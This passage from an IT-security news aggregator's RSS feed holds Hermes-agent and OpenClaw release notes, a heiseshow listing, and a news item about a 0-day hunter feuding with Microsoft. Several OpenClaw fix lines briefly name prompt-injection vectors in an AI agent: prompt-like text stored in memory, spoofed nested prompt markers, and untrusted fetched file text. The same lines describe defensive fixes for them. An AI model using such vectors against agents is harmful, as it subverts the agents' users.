<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — Docker <code>--insecure</code> opt-in, MCP bare-command resolution, dashboard test repair</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — <code>/yolo</code> session bypass, completed-turn memory context salvage, hindsight follow-up docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a> — hindsight <code>recall_types</code> observation default</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a> — arm64 PR build cache fix</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a> — <code>--no-supervise</code> reference docs</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yangguangjin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yangguangjin">@yangguangjin</a> — probe stepdown safety (salvage of <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanghd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanghd">@yanghd</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537895927" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/33673" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33673/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/33673">#33673</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devwdave/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devwdave">@devwdave</a> — completed-turn memory context (credited via salvage)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhosf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhosf">@andrewhosf</a> — co-author</li>
</ul>
<h3>Issue Reporters (the 401 loop)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/routesmith/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/routesmith">@routesmith</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34206" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34206/hovercard">#34206</a>)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/beeaton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/beeaton">@beeaton</a> (<a href="https://github.com/NousResearch/hermes-agent/issues/34202" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/34202/hovercard">#34202</a>)</li>
</ul>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.28...v2026.5.29">v2026.5.28...v2026.5.29</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Disgruntled 0-day hunter ‘humiliated’ by Microsoft pledges ‘bone shattering drop’ as Redmond calls cops]]></title>
<description><![CDATA[Six 0-days, three under active exploitation, more to come on July 14? This article has been indexed from www.theregister.com – Articles Read the original article: Disgruntled 0-day hunter ‘humiliated’ by Microsoft pledges ‘bone shattering drop’ as Redmond calls cops
Read more →
The post Disgruntl...]]></description>
<link>https://tsecurity.de/de/3555515/it-security-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555515/it-security-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</guid>
<pubDate>Thu, 28 May 2026 22:37:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Six 0-days, three under active exploitation, more to come on July 14? This article has been indexed from www.theregister.com – Articles Read the original article: Disgruntled 0-day hunter ‘humiliated’ by Microsoft pledges ‘bone shattering drop’ as Redmond calls cops</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/">Disgruntled 0-day hunter ‘humiliated’ by Microsoft pledges ‘bone shattering drop’ as Redmond calls cops</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Disgruntled 0-day hunter 'humiliated' by Microsoft pledges 'bone shattering drop' as Redmond calls cops]]></title>
<description><![CDATA[Six 0-days, three under active exploitation, more to come on July 14?]]></description>
<link>https://tsecurity.de/de/3555504/it-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555504/it-nachrichten/disgruntled-0-day-hunter-humiliated-by-microsoft-pledges-bone-shattering-drop-as-redmond-calls-cops/</guid>
<pubDate>Thu, 28 May 2026 22:32:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Six 0-days, three under active exploitation, more to come on July 14?]]></content:encoded>
</item>
<item>
<title><![CDATA[#heiseshow: Papst vs. KI, DSGVO-Kritik, Ökodesign-Reform]]></title>
<description><![CDATA[Author: heise & c't - Bewertung: 0x - Views:0 Diese Woche in der #heiseshow:
- Kirchliches Machtwort: Gibt der Papst der KI seinen Segen? https://www.heise.de/news/Erste-Enzyklika-Papst-fordert-Richtlinien-fuer-Umgang-mit-KI-11305600.html 
- DSGVO macht Datenschützer froh – und die Firmen ebenso?...]]></description>
<link>https://tsecurity.de/de/3551988/videos/heiseshow-papst-vs-ki-dsgvo-kritik-oekodesign-reform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3551988/videos/heiseshow-papst-vs-ki-dsgvo-kritik-oekodesign-reform/</guid>
<pubDate>Wed, 27 May 2026 19:17:54 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: heise &amp; c't - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/oSRJa3Pqm-c?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Diese Woche in der #heiseshow:<br />
- Kirchliches Machtwort: Gibt der Papst der KI seinen Segen? https://www.heise.de/news/Erste-Enzyklika-Papst-fordert-Richtlinien-fuer-Umgang-mit-KI-11305600.html <br />
- DSGVO macht Datenschützer froh – und die Firmen ebenso? https://www.heise.de/news/DSGVO-Fast-drei-Viertel-der-Firmen-finden-deutschen-Datenschutz-uebertrieben-11306656.html<br />
- Noch zu kitten? Wie sich die Ökodesign-Reform auf die Techbranche auswirkt - https://www.heise.de/news/Repair-Cafes-jubeln-Bundestag-beschliesst-Oekodesign-Reform-fuer-Nachhaltigkeit-11305194.html<br />
 <br />
Mit dabei: Anna Bicker, Dr. Volker Zota und Malte Kirchner<br />
Und natürlich mit unseren ständigen Rubriken: Nerd-Geburtstag, WTF der Woche und Quiz.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.26]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcript...]]></description>
<link>https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</guid>
<pubDate>Wed, 27 May 2026 13:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.</li>
<li>Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.</li>
<li>Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.</li>
<li>More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.</li>
<li>Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</li>
<li>Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513659607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86270/hovercard" href="https://github.com/openclaw/openclaw/pull/86270">#86270</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514921556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86359/hovercard" href="https://github.com/openclaw/openclaw/pull/86359">#86359</a>)</li>
<li>Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520951336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86735/hovercard" href="https://github.com/openclaw/openclaw/pull/86735">#86735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
<li>Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Memory/security: reject prompt-like text submitted through the explicit <code>memory_store</code> tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529278840" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87142/hovercard" href="https://github.com/openclaw/openclaw/pull/87142">#87142</a>)</p>
</li>
<li>
<p>Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when <code>gateway.auth.rateLimit</code> is unset, while preserving the loopback exemption. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529328719" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87148" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87148/hovercard" href="https://github.com/openclaw/openclaw/pull/87148">#87148</a>)</p>
</li>
<li>
<p>Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack <code>allowFrom</code> sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392560789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78526/hovercard" href="https://github.com/openclaw/openclaw/pull/78526">#78526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528542196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87094/hovercard" href="https://github.com/openclaw/openclaw/pull/87094">#87094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528022916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87062" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87062/hovercard" href="https://github.com/openclaw/openclaw/pull/87062">#87062</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472152384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83741/hovercard" href="https://github.com/openclaw/openclaw/pull/83741">#83741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317741554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70707/hovercard" href="https://github.com/openclaw/openclaw/pull/70707">#70707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524708660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86924/hovercard" href="https://github.com/openclaw/openclaw/pull/86924">#86924</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsxsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsxsoft">@zsxsoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttzero25/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttzero25">@ttzero25</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.</p>
</li>
<li>
<p>TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526651884" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87000" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87000/hovercard" href="https://github.com/openclaw/openclaw/pull/87000">#87000</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508988920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85786/hovercard" href="https://github.com/openclaw/openclaw/pull/85786">#85786</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528777005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87108" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87108/hovercard" href="https://github.com/openclaw/openclaw/pull/87108">#87108</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526678539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87001" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87001/hovercard" href="https://github.com/openclaw/openclaw/pull/87001">#87001</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519059143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86614/hovercard" href="https://github.com/openclaw/openclaw/pull/86614">#86614</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</p>
</li>
<li>
